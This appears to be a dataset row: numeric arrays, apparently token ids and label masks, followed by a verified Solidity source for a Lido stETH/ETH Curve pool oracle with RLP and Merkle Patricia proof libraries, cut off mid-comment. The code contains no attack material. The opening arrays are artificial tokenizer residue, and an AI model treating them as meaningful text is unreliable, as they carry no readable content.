0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
5658,
5948,
52,
3462,
353,
9722,
52,
3462,
4664,
1845,
16,
9722,
52,
3462,
49,
474,
429,
16,
9722,
52,
3462,
38,
321,
429,
16,
1956,
52,
1773,
288,
203,
203,
565,
3885,
261,
203,
3639,
533,
3778,
508,
16,
203,
3639,
533,
3778,
3273,
16,
203,
3639,
2254,
28,
15105,
16,
203,
3639,
2254,
5034,
3523,
16,
203,
3639,
2254,
5034,
2172,
13937,
16,
203,
3639,
1758,
8843,
429,
14036,
12952,
203,
565,
262,
203,
3639,
9722,
52,
3462,
12,
529,
16,
3273,
13,
203,
3639,
9722,
52,
3462,
4664,
1845,
12,
5909,
13,
203,
3639,
1956,
52,
1773,
12,
21386,
12952,
16,
315,
6517,
5948,
52,
3462,
7923,
203,
3639,
8843,
429,
203,
203,
565,
288,
203,
3639,
389,
8401,
31809,
12,
31734,
1769,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
2172,
13937,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
81,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
2713,
3849,
12,
5948,
52,
3462,
16,
9722,
52,
3462,
4664,
1845,
13,
1338,
5541,
288,
203,
3639,
2240,
6315,
81,
474,
12,
4631,
16,
3844,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
13749,
49,
474,
310,
1435,
2713,
3849,
1338,
5541,
288,
203,
3639,
2240,
6315,
13749,
49,
474,
310,
5621,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT AND Apache-2.0
// License: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Copied from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/math/SafeMath.sol
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
// License: Apache-2.0
/*
* @author Hamdi Allam [email protected]
* Please reach out with any questions or concerns
*/
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint len;
uint memPtr;
}
struct Iterator {
RLPItem item; // Item that's being iterated over.
uint nextPtr; // Position of the next item in the list.
}
/*
* @dev Returns the next element in the iteration. Reverts if it has not next element.
* @param self The iterator.
* @return The next element in the iteration.
*/
function next(Iterator memory self) internal pure returns (RLPItem memory) {
require(hasNext(self));
uint ptr = self.nextPtr;
uint itemLength = _itemLength(ptr);
self.nextPtr = ptr + itemLength;
return RLPItem(itemLength, ptr);
}
/*
* @dev Returns true if the iteration has more elements.
* @param self The iterator.
* @return true if the iteration has more elements.
*/
function hasNext(Iterator memory self) internal pure returns (bool) {
RLPItem memory item = self.item;
return self.nextPtr < item.memPtr + item.len;
}
/*
* @param item RLP encoded bytes
*/
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
uint memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
/*
* @dev Create an iterator. Reverts if item is not a list.
* @param self The RLP item.
* @return An 'Iterator' over the item.
*/
function iterator(RLPItem memory self) internal pure returns (Iterator memory) {
require(isList(self));
uint ptr = self.memPtr + _payloadOffset(self.memPtr);
return Iterator(self, ptr);
}
/*
* @param the RLP item.
*/
function rlpLen(RLPItem memory item) internal pure returns (uint) {
return item.len;
}
/*
* @param the RLP item.
* @return (memPtr, len) pair: location of the item's payload in memory.
*/
function payloadLocation(RLPItem memory item) internal pure returns (uint, uint) {
uint offset = _payloadOffset(item.memPtr);
uint memPtr = item.memPtr + offset;
uint len = item.len - offset; // data length
return (memPtr, len);
}
/*
* @param the RLP item.
*/
function payloadLen(RLPItem memory item) internal pure returns (uint) {
(, uint len) = payloadLocation(item);
return len;
}
/*
* @param the RLP item containing the encoded list.
*/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) {
require(isList(item));
uint items = numItems(item);
RLPItem[] memory result = new RLPItem[](items);
uint memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint dataLen;
for (uint i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
return result;
}
// @return indicator whether encoded payload is a list. negate this function call for isData.
function isList(RLPItem memory item) internal pure returns (bool) {
if (item.len == 0) return false;
uint8 byte0;
uint memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START)
return false;
return true;
}
/*
* @dev A cheaper version of keccak256(toRlpBytes(item)) that avoids copying memory.
* @return keccak256 hash of RLP encoded bytes.
*/
function rlpBytesKeccak256(RLPItem memory item) internal pure returns (bytes32) {
uint256 ptr = item.memPtr;
uint256 len = item.len;
bytes32 result;
assembly {
result := keccak256(ptr, len)
}
return result;
}
/*
* @dev A cheaper version of keccak256(toBytes(item)) that avoids copying memory.
* @return keccak256 hash of the item payload.
*/
function payloadKeccak256(RLPItem memory item) internal pure returns (bytes32) {
(uint memPtr, uint len) = payloadLocation(item);
bytes32 result;
assembly {
result := keccak256(memPtr, len)
}
return result;
}
/** RLPItem conversions into data types **/
// @returns raw rlp encoding in bytes
function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {
bytes memory result = new bytes(item.len);
if (result.length == 0) return result;
uint ptr;
assembly {
ptr := add(0x20, result)
}
copy(item.memPtr, ptr, item.len);
return result;
}
// any non-zero byte except "0x80" is considered true
function toBoolean(RLPItem memory item) internal pure returns (bool) {
require(item.len == 1);
uint result;
uint memPtr = item.memPtr;
assembly {
result := byte(0, mload(memPtr))
}
// SEE Github Issue #5.
// Summary: Most commonly used RLP libraries (i.e Geth) will encode
// "0" as "0x80" instead of as "0". We handle this edge case explicitly
// here.
if (result == 0 || result == STRING_SHORT_START) {
return false;
} else {
return true;
}
}
function toAddress(RLPItem memory item) internal pure returns (address) {
// 1 byte for the length prefix
require(item.len == 21);
return address(toUint(item));
}
function toUint(RLPItem memory item) internal pure returns (uint) {
require(item.len > 0 && item.len <= 33);
(uint memPtr, uint len) = payloadLocation(item);
uint result;
assembly {
result := mload(memPtr)
// shfit to the correct location if neccesary
if lt(len, 32) {
result := div(result, exp(256, sub(32, len)))
}
}
return result;
}
// enforces 32 byte length
function toUintStrict(RLPItem memory item) internal pure returns (uint) {
// one byte prefix
require(item.len == 33);
uint result;
uint memPtr = item.memPtr + 1;
assembly {
result := mload(memPtr)
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes memory) {
require(item.len > 0);
(uint memPtr, uint len) = payloadLocation(item);
bytes memory result = new bytes(len);
uint destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(memPtr, destPtr, len);
return result;
}
/*
* Private Helpers
*/
// @return number of payload items inside an encoded list.
function numItems(RLPItem memory item) private pure returns (uint) {
if (item.len == 0) return 0;
uint count = 0;
uint currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr); // skip over an item
count++;
}
return count;
}
// @return entire rlp item byte length
function _itemLength(uint memPtr) private pure returns (uint) {
uint itemLen;
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
itemLen = 1;
else if (byte0 < STRING_LONG_START)
itemLen = byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is
memPtr := add(memPtr, 1) // skip over the first byte
/* 32 byte word size */
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len
itemLen := add(dataLen, add(byteLen, 1))
}
}
else if (byte0 < LIST_LONG_START) {
itemLen = byte0 - LIST_SHORT_START + 1;
}
else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length
itemLen := add(dataLen, add(byteLen, 1))
}
}
return itemLen;
}
// @return number of bytes until the data
function _payloadOffset(uint memPtr) private pure returns (uint) {
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START))
return 1;
else if (byte0 < LIST_SHORT_START) // being explicit
return byte0 - (STRING_LONG_START - 1) + 1;
else
return byte0 - (LIST_LONG_START - 1) + 1;
}
/*
* @param src Pointer to source
* @param dest Pointer to destination
* @param len Amount of memory to copy from the source
*/
function copy(uint src, uint dest, uint len) private pure {
if (len == 0) return;
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
// left over bytes. Mask is used to remove unwanted bytes from the word
uint mask = 256 ** (WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
}
// License: MIT
/**
* Copied from https://github.com/lorenzb/proveth/blob/c74b20e/onchain/ProvethVerifier.sol
* with minor performance and code style-related modifications.
*/
library MerklePatriciaProofVerifier {
using RLPReader for RLPReader.RLPItem;
using RLPReader for bytes;
/// @dev Validates a Merkle-Patricia-Trie proof.
/// If the proof proves the inclusion of some key-value pair in the
/// trie, the value is returned. Otherwise, i.e. if the proof proves
/// the exclusion of a key from the trie, an empty byte array is
/// returned.
/// @param rootHash is the Keccak-256 hash of the root node of the MPT.
/// @param path is the key of the node whose inclusion/exclusion we are
/// proving.
/// @param stack is the stack of MPT nodes (starting with the root) that
/// need to be traversed during verification.
/// @return value whose inclusion is proved or an empty byte array for
/// a proof of exclusion
function extractProofValue(
bytes32 rootHash,
bytes memory path,
RLPReader.RLPItem[] memory stack
) internal pure returns (bytes memory value) {
bytes memory mptKey = _decodeNibbles(path, 0);
uint256 mptKeyOffset = 0;
bytes32 nodeHashHash;
bytes memory rlpNode;
RLPReader.RLPItem[] memory node;
RLPReader.RLPItem memory rlpValue;
if (stack.length == 0) {
// Root hash of empty Merkle-Patricia-Trie
require(rootHash == 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421);
return new bytes(0);
}
// Traverse stack of nodes starting at root.
for (uint256 i = 0; i < stack.length; i++) {
// We use the fact that an rlp encoded list consists of some
// encoding of its length plus the concatenation of its
// *rlp-encoded* items.
// The root node is hashed with Keccak-256 ...
if (i == 0 && rootHash != stack[i].rlpBytesKeccak256()) {
revert();
}
// ... whereas all other nodes are hashed with the MPT
// hash function.
if (i != 0 && nodeHashHash != _mptHashHash(stack[i])) {
revert();
}
// We verified that stack[i] has the correct hash, so we
// may safely decode it.
node = stack[i].toList();
if (node.length == 2) {
// Extension or Leaf node
bool isLeaf;
bytes memory nodeKey;
(isLeaf, nodeKey) = _merklePatriciaCompactDecode(node[0].toBytes());
uint256 prefixLength = _sharedPrefixLength(mptKeyOffset, mptKey, nodeKey);
mptKeyOffset += prefixLength;
if (prefixLength < nodeKey.length) {
// Proof claims divergent extension or leaf. (Only
// relevant for proofs of exclusion.)
// An Extension/Leaf node is divergent iff it "skips" over
// the point at which a Branch node should have been had the
// excluded key been included in the trie.
// Example: Imagine a proof of exclusion for path [1, 4],
// where the current node is a Leaf node with
// path [1, 3, 3, 7]. For [1, 4] to be included, there
// should have been a Branch node at [1] with a child
// at 3 and a child at 4.
// Sanity check
if (i < stack.length - 1) {
// divergent node must come last in proof
revert();
}
return new bytes(0);
}
if (isLeaf) {
// Sanity check
if (i < stack.length - 1) {
// leaf node must come last in proof
revert();
}
if (mptKeyOffset < mptKey.length) {
return new bytes(0);
}
rlpValue = node[1];
return rlpValue.toBytes();
} else { // extension
// Sanity check
if (i == stack.length - 1) {
// shouldn't be at last level
revert();
}
if (!node[1].isList()) {
// rlp(child) was at least 32 bytes. node[1] contains
// Keccak256(rlp(child)).
nodeHashHash = node[1].payloadKeccak256();
} else {
// rlp(child) was less than 32 bytes. node[1] contains
// rlp(child).
nodeHashHash = node[1].rlpBytesKeccak256();
}
}
} else if (node.length == 17) {
// Branch node
if (mptKeyOffset != mptKey.length) {
// we haven't consumed the entire path, so we need to look at a child
uint8 nibble = uint8(mptKey[mptKeyOffset]);
mptKeyOffset += 1;
if (nibble >= 16) {
// each element of the path has to be a nibble
revert();
}
if (_isEmptyBytesequence(node[nibble])) {
// Sanity
if (i != stack.length - 1) {
// leaf node should be at last level
revert();
}
return new bytes(0);
} else if (!node[nibble].isList()) {
nodeHashHash = node[nibble].payloadKeccak256();
} else {
nodeHashHash = node[nibble].rlpBytesKeccak256();
}
} else {
// we have consumed the entire mptKey, so we need to look at what's contained in this node.
// Sanity
if (i != stack.length - 1) {
// should be at last level
revert();
}
return node[16].toBytes();
}
}
}
}
/// @dev Computes the hash of the Merkle-Patricia-Trie hash of the RLP item.
/// Merkle-Patricia-Tries use a weird "hash function" that outputs
/// *variable-length* hashes: If the item is shorter than 32 bytes,
/// the MPT hash is the item. Otherwise, the MPT hash is the
/// Keccak-256 hash of the item.
/// The easiest way to compare variable-length byte sequences is
/// to compare their Keccak-256 hashes.
/// @param item The RLP item to be hashed.
/// @return Keccak-256(MPT-hash(item))
function _mptHashHash(RLPReader.RLPItem memory item) private pure returns (bytes32) {
if (item.len < 32) {
return item.rlpBytesKeccak256();
} else {
return keccak256(abi.encodePacked(item.rlpBytesKeccak256()));
}
}
function _isEmptyBytesequence(RLPReader.RLPItem memory item) private pure returns (bool) {
if (item.len != 1) {
return false;
}
uint8 b;
uint256 memPtr = item.memPtr;
assembly {
b := byte(0, mload(memPtr))
}
return b == 0x80 /* empty byte string */;
}
function _merklePatriciaCompactDecode(bytes memory compact) private pure returns (bool isLeaf, bytes memory nibbles) {
require(compact.length > 0);
uint256 first_nibble = uint8(compact[0]) >> 4 & 0xF;
uint256 skipNibbles;
if (first_nibble == 0) {
skipNibbles = 2;
isLeaf = false;
} else if (first_nibble == 1) {
skipNibbles = 1;
isLeaf = false;
} else if (first_nibble == 2) {
skipNibbles = 2;
isLeaf = true;
} else if (first_nibble == 3) {
skipNibbles = 1;
isLeaf = true;
} else {
// Not supposed to happen!
revert();
}
return (isLeaf, _decodeNibbles(compact, skipNibbles));
}
function _decodeNibbles(bytes memory compact, uint256 skipNibbles) private pure returns (bytes memory nibbles) {
require(compact.length > 0);
uint256 length = compact.length * 2;
require(skipNibbles <= length);
length -= skipNibbles;
nibbles = new bytes(length);
uint256 nibblesLength = 0;
for (uint256 i = skipNibbles; i < skipNibbles + length; i += 1) {
if (i % 2 == 0) {
nibbles[nibblesLength] = bytes1((uint8(compact[i/2]) >> 4) & 0xF);
} else {
nibbles[nibblesLength] = bytes1((uint8(compact[i/2]) >> 0) & 0xF);
}
nibblesLength += 1;
}
assert(nibblesLength == nibbles.length);
}
function _sharedPrefixLength(uint256 xsOffset, bytes memory xs, bytes memory ys) private pure returns (uint256) {
uint256 i;
for (i = 0; i + xsOffset < xs.length && i < ys.length; i++) {
if (xs[i + xsOffset] != ys[i]) {
return i;
}
}
return i;
}
}
// License: MIT
/**
* @title A helper library for verification of Merkle Patricia account and state proofs.
*/
library Verifier {
using RLPReader for RLPReader.RLPItem;
using RLPReader for bytes;
uint256 constant HEADER_STATE_ROOT_INDEX = 3;
uint256 constant HEADER_NUMBER_INDEX = 8;
uint256 constant HEADER_TIMESTAMP_INDEX = 11;
struct BlockHeader {
bytes32 hash;
bytes32 stateRootHash;
uint256 number;
uint256 timestamp;
}
struct Account {
bool exists;
uint256 nonce;
uint256 balance;
bytes32 storageRoot;
bytes32 codeHash;
}
struct SlotValue {
bool exists;
uint256 value;
}
/**
* @notice Parses block header and verifies its presence onchain within the latest 256 blocks.
* @param _headerRlpBytes RLP-encoded block header.
*/
function verifyBlockHeader(bytes memory _headerRlpBytes)
internal view returns (BlockHeader memory)
{
BlockHeader memory header = parseBlockHeader(_headerRlpBytes);
// ensure that the block is actually in the blockchain
require(header.hash == blockhash(header.number), "blockhash mismatch");
return header;
}
/**
* @notice Parses RLP-encoded block header.
* @param _headerRlpBytes RLP-encoded block header.
*/
function parseBlockHeader(bytes memory _headerRlpBytes)
internal pure returns (BlockHeader memory)
{
BlockHeader memory result;
RLPReader.RLPItem[] memory headerFields = _headerRlpBytes.toRlpItem().toList();
result.stateRootHash = bytes32(headerFields[HEADER_STATE_ROOT_INDEX].toUint());
result.number = headerFields[HEADER_NUMBER_INDEX].toUint();
result.timestamp = headerFields[HEADER_TIMESTAMP_INDEX].toUint();
result.hash = keccak256(_headerRlpBytes);
return result;
}
/**
* @notice Verifies Merkle Patricia proof of an account and extracts the account fields.
*
* @param _addressHash Keccak256 hash of the address corresponding to the account.
* @param _stateRootHash MPT root hash of the Ethereum state trie.
*/
function extractAccountFromProof(
bytes32 _addressHash, // keccak256(abi.encodePacked(address))
bytes32 _stateRootHash,
RLPReader.RLPItem[] memory _proof
)
internal pure returns (Account memory)
{
bytes memory acctRlpBytes = MerklePatriciaProofVerifier.extractProofValue(
_stateRootHash,
abi.encodePacked(_addressHash),
_proof
);
Account memory account;
if (acctRlpBytes.length == 0) {
return account;
}
RLPReader.RLPItem[] memory acctFields = acctRlpBytes.toRlpItem().toList();
require(acctFields.length == 4);
account.exists = true;
account.nonce = acctFields[0].toUint();
account.balance = acctFields[1].toUint();
account.storageRoot = bytes32(acctFields[2].toUint());
account.codeHash = bytes32(acctFields[3].toUint());
return account;
}
/**
* @notice Verifies Merkle Patricia proof of a slot and extracts the slot's value.
*
* @param _slotHash Keccak256 hash of the slot position.
* @param _storageRootHash MPT root hash of the account's storage trie.
*/
function extractSlotValueFromProof(
bytes32 _slotHash,
bytes32 _storageRootHash,
RLPReader.RLPItem[] memory _proof
)
internal pure returns (SlotValue memory)
{
bytes memory valueRlpBytes = MerklePatriciaProofVerifier.extractProofValue(
_storageRootHash,
abi.encodePacked(_slotHash),
_proof
);
SlotValue memory value;
if (valueRlpBytes.length != 0) {
value.exists = true;
value.value = valueRlpBytes.toRlpItem().toUint();
}
return value;
}
}
// License: MIT
interface IPriceHelper {
function get_dy(
int128 i,
int128 j,
uint256 dx,
uint256[2] memory xp,
uint256 A,
uint256 fee
) external pure returns (uint256);
}
interface IStableSwap {
function fee() external view returns (uint256);
function A_precise() external view returns (uint256);
}
/**
* @title
* A trustless oracle for the stETH/ETH Curve pool using Merkle Patricia
* proofs of Ethereum state.
*
* @notice
* The oracle currently assumes that the pool's fee and A (amplification
* coefficient) values don't change between the time of proof generation
* and submission.
*/
contract StableSwapStateOracle {
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
using SafeMath for uint256;
/**
* @notice Logs the updated slot values of Curve pool and stETH contracts.
*/
event SlotValuesUpdated(
uint256 timestamp,
uint256 poolEthBalance,
uint256 poolAdminEthBalance,
uint256 poolAdminStethBalance,
uint256 stethPoolShares,
uint256 stethTotalShares,
uint256 stethBeaconBalance,
uint256 stethBufferedEther,
uint256 stethDepositedValidators,
uint256 stethBeaconValidators
);
/**
* @notice Logs the updated stETH and ETH pool balances and the calculated stETH/ETH price.
*/
event PriceUpdated(
uint256 timestamp,
uint256 etherBalance,
uint256 stethBalance,
uint256 stethPrice
);
/**
* @notice Logs the updated price update threshold percentage advised to offchain clients.
*/
event PriceUpdateThresholdChanged(uint256 threshold);
/**
* @notice
* Logs the updated address having the right to change the advised price update threshold.
*/
event AdminChanged(address admin);
/// @dev Reporting data that is more fresh than this number of blocks ago is prohibited
uint256 constant public MIN_BLOCK_DELAY = 15;
// Constants for offchain proof generation
address constant public POOL_ADDRESS = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
address constant public STETH_ADDRESS = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
/// @dev keccak256(abi.encodePacked(uint256(1)))
bytes32 constant public POOL_ADMIN_BALANCES_0_POS = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6;
/// @dev bytes32(uint256(POOL_ADMIN_BALANCES_0_POS) + 1)
bytes32 constant public POOL_ADMIN_BALANCES_1_POS = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7;
/// @dev keccak256(uint256(0xdc24316b9ae028f1497c275eb9192a3ea0f67022) . uint256(0))
bytes32 constant public STETH_POOL_SHARES_POS = 0xae68078d7ee25b2b7bcb7d4b9fe9acf61f251fe08ff637df07889375d8385158;
/// @dev keccak256("lido.StETH.totalShares")
bytes32 constant public STETH_TOTAL_SHARES_POS = 0xe3b4b636e601189b5f4c6742edf2538ac12bb61ed03e6da26949d69838fa447e;
/// @dev keccak256("lido.Lido.beaconBalance")
bytes32 constant public STETH_BEACON_BALANCE_POS = 0xa66d35f054e68143c18f32c990ed5cb972bb68a68f500cd2dd3a16bbf3686483;
/// @dev keccak256("lido.Lido.bufferedEther")
bytes32 constant public STETH_BUFFERED_ETHER_POS = 0xed310af23f61f96daefbcd140b306c0bdbf8c178398299741687b90e794772b0;
/// @dev keccak256("lido.Lido.depositedValidators")
bytes32 constant public STETH_DEPOSITED_VALIDATORS_POS = 0xe6e35175eb53fc006520a2a9c3e9711a7c00de6ff2c32dd31df8c5a24cac1b5c;
/// @dev keccak256("lido.Lido.beaconValidators")
bytes32 constant public STETH_BEACON_VALIDATORS_POS = 0x9f70001d82b6ef54e9d3725b46581c3eb9ee3aa02b941b6aa54d678a9ca35b10;
// Constants for onchain proof verification
/// @dev keccak256(abi.encodePacked(POOL_ADDRESS))
bytes32 constant POOL_ADDRESS_HASH = 0xc70f76036d72b7bb865881e931082ea61bb4f13ec9faeb17f0591b18b6fafbd7;
/// @dev keccak256(abi.encodePacked(STETH_ADDRESS))
bytes32 constant STETH_ADDRESS_HASH = 0x6c958a912fe86c83262fbd4973f6bd042cef76551aaf679968f98665979c35e7;
/// @dev keccak256(abi.encodePacked(POOL_ADMIN_BALANCES_0_POS))
bytes32 constant POOL_ADMIN_BALANCES_0_HASH = 0xb5d9d894133a730aa651ef62d26b0ffa846233c74177a591a4a896adfda97d22;
/// @dev keccak256(abi.encodePacked(POOL_ADMIN_BALANCES_1_POS)
bytes32 constant POOL_ADMIN_BALANCES_1_HASH = 0xea7809e925a8989e20c901c4c1da82f0ba29b26797760d445a0ce4cf3c6fbd31;
/// @dev keccak256(abi.encodePacked(STETH_POOL_SHARES_POS)
bytes32 constant STETH_POOL_SHARES_HASH = 0xe841c8fb2710e169d6b63e1130fb8013d57558ced93619655add7aef8c60d4dc;
/// @dev keccak256(abi.encodePacked(STETH_TOTAL_SHARES_POS)
bytes32 constant STETH_TOTAL_SHARES_HASH = 0x4068b5716d4c00685289292c9cdc7e059e67159cd101476377efe51ba7ab8e9f;
/// @dev keccak256(abi.encodePacked(STETH_BEACON_BALANCE_POS)
bytes32 constant STETH_BEACON_BALANCE_HASH = 0xa6965d4729b36ed8b238f6ba55294196843f8be2850c5f63b6fb6d29181b50f8;
/// @dev keccak256(abi.encodePacked(STETH_BUFFERED_ETHER_POS)
bytes32 constant STETH_BUFFERED_ETHER_HASH = 0xa39079072910ef75f32ddc4f40104882abfc19580cc249c694e12b6de868ee1d;
/// @dev keccak256(abi.encodePacked(STETH_DEPOSITED_VALIDATORS_POS)
bytes32 constant STETH_DEPOSITED_VALIDATORS_HASH = 0x17216d3ffd8719eeee6d8052f7c1e6269bd92d2390d3e3fc4cde1f026e427fb3;
/// @dev keccak256(abi.encodePacked(STETH_BEACON_VALIDATORS_POS)
bytes32 constant STETH_BEACON_VALIDATORS_HASH = 0x6fd60d3960d8a32cbc1a708d6bf41bbce8152e61e72b2236d5e1ecede9c4cc72;
uint256 constant internal STETH_DEPOSIT_SIZE = 32 ether;
/**
* @dev A helper contract for calculating stETH/ETH price from its stETH and ETH balances.
*/
IPriceHelper internal helper;
/**
* @notice The admin has the right to set the suggested price update threshold (see below).
*/
address public admin;
/**
* @notice
* The price update threshold percentage advised to oracle clients.
* Expressed in basis points: 10000 BP equal to 100%, 100 BP to 1%.
*
* @dev
* If the current price in the pool differs less than this, the clients are advised to
* skip updating the oracle. However, this threshold is not enforced, so clients are
* free to update the oracle with any valid price.
*/
uint256 public priceUpdateThreshold;
/**
* @notice The timestamp of the proven pool state/price.
*/
uint256 public timestamp;
/**
* @notice The proven ETH balance of the pool.
*/
uint256 public etherBalance;
/**
* @notice The proven stETH balance of the pool.
*/
uint256 public stethBalance;
/**
* @notice The proven stETH/ETH price in the pool.
*/
uint256 public stethPrice;
/**
* @param _helper Address of the deployed instance of the StableSwapPriceHelper.vy contract.
* @param _admin The address that has the right to set the suggested price update threshold.
* @param _priceUpdateThreshold The initial value of the suggested price update threshold.
* Expressed in basis points, 10000 BP corresponding to 100%.
*/
constructor(IPriceHelper _helper, address _admin, uint256 _priceUpdateThreshold) public {
helper = _helper;
_setAdmin(_admin);
_setPriceUpdateThreshold(_priceUpdateThreshold);
}
/**
* @notice Passes the right to set the suggested price update threshold to a new address.
*/
function setAdmin(address _admin) external {
require(msg.sender == admin);
_setAdmin(_admin);
}
/**
* @notice Sets the suggested price update threshold.
*
* @param _priceUpdateThreshold The suggested price update threshold.
* Expressed in basis points, 10000 BP corresponding to 100%.
*/
function setPriceUpdateThreshold(uint256 _priceUpdateThreshold) external {
require(msg.sender == admin);
_setPriceUpdateThreshold(_priceUpdateThreshold);
}
/**
* @notice Retuens a set of values used by the clients for proof generation.
*/
function getProofParams() external view returns (
address poolAddress,
address stethAddress,
bytes32 poolAdminEtherBalancePos,
bytes32 poolAdminCoinBalancePos,
bytes32 stethPoolSharesPos,
bytes32 stethTotalSharesPos,
bytes32 stethBeaconBalancePos,
bytes32 stethBufferedEtherPos,
bytes32 stethDepositedValidatorsPos,
bytes32 stethBeaconValidatorsPos,
uint256 advisedPriceUpdateThreshold
) {
return (
POOL_ADDRESS,
STETH_ADDRESS,
POOL_ADMIN_BALANCES_0_POS,
POOL_ADMIN_BALANCES_1_POS,
STETH_POOL_SHARES_POS,
STETH_TOTAL_SHARES_POS,
STETH_BEACON_BALANCE_POS,
STETH_BUFFERED_ETHER_POS,
STETH_DEPOSITED_VALIDATORS_POS,
STETH_BEACON_VALIDATORS_POS,
priceUpdateThreshold
);
}
/**
* @return _timestamp The timestamp of the proven pool state/price.
* @return _etherBalance The proven ETH balance of the pool.
* @return _stethBalance The proven stETH balance of the pool.
* @return _stethPrice The proven stETH/ETH price in the pool.
*/
function getState() external view returns (
uint256 _timestamp,
uint256 _etherBalance,
uint256 _stethBalance,
uint256 _stethPrice
) {
return (timestamp, etherBalance, stethBalance, stethPrice);
}
/**
* @notice Used by the offchain clients to submit the proof.
*
* @dev Reverts unless:
* - the block the submitted data corresponds to is in the chain;
* - the block is at least `MIN_BLOCK_DELAY` blocks old;
* - all submitted proofs are valid.
*
* @param _blockHeaderRlpBytes RLP-encoded block header.
*
* @param _proofRlpBytes RLP-encoded list of Merkle Patricia proofs:
* 1. proof of the Curve pool contract account;
* 2. proof of the stETH contract account;
* 3. proof of the `admin_balances[0]` slot of the Curve pool contract;
* 4. proof of the `admin_balances[1]` slot of the Curve pool contract;
* 5. proof of the `shares[0xDC24316b9AE028F1497c275EB9192a3Ea0f67022]` slot of stETH contract;
* 6. proof of the `keccak256("lido.StETH.totalShares")` slot of stETH contract;
* 7. proof of the `keccak256("lido.Lido.beaconBalance")` slot of stETH contract;
* 8. proof of the `keccak256("lido.Lido.bufferedEther")` slot of stETH contract;
* 9. proof of the `keccak256("lido.Lido.depositedValidators")` slot of stETH contract;
